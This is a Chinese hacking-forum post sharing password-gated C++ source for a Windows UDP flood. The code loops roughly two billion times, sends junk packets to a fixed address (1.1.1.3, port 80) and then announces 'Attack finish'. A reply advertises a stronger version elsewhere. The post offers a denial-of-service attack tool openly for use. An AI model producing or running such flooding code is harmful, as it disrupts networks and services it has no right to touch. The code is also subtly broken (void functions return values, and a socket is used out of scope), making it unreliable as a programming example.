[C.C++] c++之数据包发送源代码

1813 2
Kali23 2023-4-12 21:56:24 | 显示全部楼层 |阅读模式
//程序运行后需要填入密码"qiuqiuwo"


#include <iostream>
#include <winsock2.h>
#include <string>
#include <cstring>

#pragma comment(lib, "ws2_32.lib")

using namespace std;

string answer = "ERROR";

void CParseIn () {
    cout << "Would you like to start?" << endl;
    cout << "Write down your pass:" << endl;
   
    cin >> answer;
}

void Core () {
    WSADATA wsaData;
   
    int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
   
    if (iResult != 0) {
        cout << "WSAStartup failed: " << iResult << endl;
        return 1;
    }

    SOCKET sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sock == INVALID_SOCKET) {
        cout << "socket failed: " << WSAGetLastError() << endl;
        WSACleanup();
        return 1;
    }

    sockaddr_in serverAddr;
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(80);
    serverAddr.sin_addr.s_addr = inet_addr("1.1.1.3");
   
    char sendBuf[1024] = "Hey hey everybody! It's me, Mickey Mouse. Wanna come in my CLUBHOUSE? All right, let's go! Oh hoo, I almost forgot. To make the house appear, we need to say the magic words:'Miskka,moskka,MICKEY......MOUSE!!!";
    long long num = 2147483648;

    for (int i = 0; i < num; ++i) {
        iResult = sendto(sock, sendBuf, strlen(sendBuf), 0, (sockaddr*)&serverAddr, sizeof(serverAddr));
        if (iResult == SOCKET_ERROR) {
            cout << "sendto failed: " << WSAGetLastError() << endl;
            break;
        }
        cout << "Packet " << i + 1 << " sent." << endl;
    }
}

void CwriteOut () {
    cout << "Attack finish,welcome next time..." << endl;   
}

int main () {
   
    CParseIn();
   
    if (answer == "qiuqiuwo") {
        Core();
        CwriteOut();
        closesocket(sock);
        WSACleanup();
        
        return 0;
    }
   
    cout << "Pass wrong." << endl;
    return 0;
}
Kali23 2023-4-12 21:57:17 | 显示全部楼层
不过是Windows才支持运行,如果是其它系统可以改。
Kali23 2023-4-17 22:23:36 | 显示全部楼层
这个是低配版,我的个人主页中还有高配版,密码还是qiuqiuwo
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Kali23

初入联盟

关注
  • 3
    主题
  • 0
    粉丝
  • 2
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行